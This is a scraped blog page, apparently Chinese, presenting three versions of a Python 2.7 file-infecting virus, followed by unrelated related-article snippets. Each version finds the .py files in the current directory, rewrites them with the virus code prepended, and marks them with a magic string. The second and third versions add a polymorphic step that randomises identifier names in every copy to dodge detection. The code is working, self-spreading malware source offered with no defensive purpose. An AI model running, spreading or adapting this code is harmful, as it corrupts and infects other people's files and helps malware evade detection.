Learn from here

Initial

#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872

import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + '~')

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    for line in this:
        destination.write(line)
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "---------------------------this is silly python virus-----------------"

#MAGIC_STRING_9348788nkmsd

Variation 1

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + "~")

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    mutations = init_mutation()

    for line in this:
        destination.write(mutate(line, mutations))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def mutate(line, mutations):
    for k, v in mutations.iteritems():
        line = line.replace(k, v)
    return line

def init_mutation():
    original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
                'is_infected', 'infect', 'randstring', 'destination', 'mutate',
                'randstring', 'original', 'mutations']
    mutated = []
    for o in original:
        mutated.append((o, rand_string(len(o))))
    return dict(mutated)

def rand_string(length):
    randstring = ''
    for i in range(0, length):
        randstring += chr(random.randint(97, 122))
    return randstring

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Variation 2

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def tnjjel(ptphbids):
    os.rename(ptphbids, ptphbids + "~")

    buszvmkioof = open(ptphbids, "w")
    source = open(ptphbids + "~", "r")
    this = open(__main__.__file__, "r")

    ontsgrefv = puezajbvokbom()

    for line in this:
        buszvmkioof.write(vgaisf(line, ontsgrefv))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        buszvmkioof.write(line)

    source.close()
    buszvmkioof.close()
    this.close()

def is_tnjjeled(ptphbids):
    f = open(ptphbids, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def vgaisf(line, ontsgrefv):
    for k, v in ontsgrefv.iteritems():
        line = line.replace(k, v)
    return line

def puezajbvokbom():
    slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
                'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
                'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
    vgaisfd = []
    for o in slrxwwms:
        vgaisfd.append((o, rand_string(len(o))))
    return dict(vgaisfd)

def rand_string(length):
    qebmtybcrm = ''
    for i in range(0, length):
        qebmtybcrm += chr(random.randint(97, 122))
    return qebmtybcrm

def find_and_tnjjel_files():
    path = "."
    dirs = os.listdir(path)
    for ptphbids in dirs:
        if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
            tnjjel(ptphbids)

find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Bingo !

Basic Virus's Infection & Variation [Python]的更多相关文章

  1. 【Python】【Basic】MacOS上搭建Python开发环境

    1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...

  2. 【LeetCode】224. Basic Calculator 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...

  3. Python基础知识(Basic knowledge)

    Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...

  4. Python初学基础

      初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...

  5. 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)

    6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...

  6. 【310】◀▶ Python 日期和时间

    参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...

  7. 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!

    学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...

  8. python网络框架Twisted

    什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...

  9. 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索

    [test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...

随机推荐

  1. Android如何避免切换至SurfaceView时闪屏(黑屏闪一下)以及黑屏移动问题

    1.最近的项目中,有一个Activity用到Fragment+ViewPager,其中一个fragment中实现了视频播放的功能,包含有SurfaceView.结果,每次打开程序第一次进入到该Acti ...

  2. [转载]PhotoShop性能优化

    现在随着Photoshop版本越来越高功能也越来越强大,而往往强大的功能需要电脑有好的配置运行,比如HDR.图像合成或者3D和视频等类似的功能,还有处理比较大尺寸的图像时,如果电脑配置不够强往往非常卡 ...

  3. Docker - 配置DaoCloud的Docker加速器(国内registry-mirror)

    由于众所周知的原因,从Docker Hub难以高效地下载镜像. 除了使用VPN或代理之外,最为有效的方式就是使用Docker国内镜像. DaoCloud是首个提供国内免费Docker Hub镜像的团体 ...

  4. Windows Azure Cloud Service (1) 用户手册

    <Windows Azure Platform 系列文章目录> 下载地址 Cloud Service用户手册

  5. IOS从视频中获取截图

    从视频中获取截图: NSString *movpath =[[NSBundle mainBundle] pathForResource:@”iosxcode4″ ofType:@”mov”]; mpv ...

  6. 使用Graphviz绘图(一)

    前言 日常开发或者编写课程论文时,除了代码文档的编写,其中一个很重要的部分就是需要绘制流程图.示意图 绘制流程图有很多工具,一般常见的就有如下几种: Word.PPT等办公软件 Viso以及开源的Di ...

  7. LeetCode - Pascal's Triangle II

    题目: Given an index k, return the kth row of the Pascal's triangle. For example, given k = 3, Return ...

  8. Winform开发框架之读卡器和条码扫描枪的数据接收处理

    在我们开发一些项目的时候,一般需要一些外围的设备进行数据处理,如ID/IC读卡器获取卡号.激光条码扫描枪.USB摄像头.USB方式的小票据打印机(POS打印机).USB来电录音盒.普通打印机等一系列附 ...

  9. 关于在Servelet中如何获取当前时间的操作

    //获取到当前时间 Date date=new Date(); DateFormat format=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss&quo ...

  10. C# 模拟登陆并继续访问其他页面

    using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Net;usi ...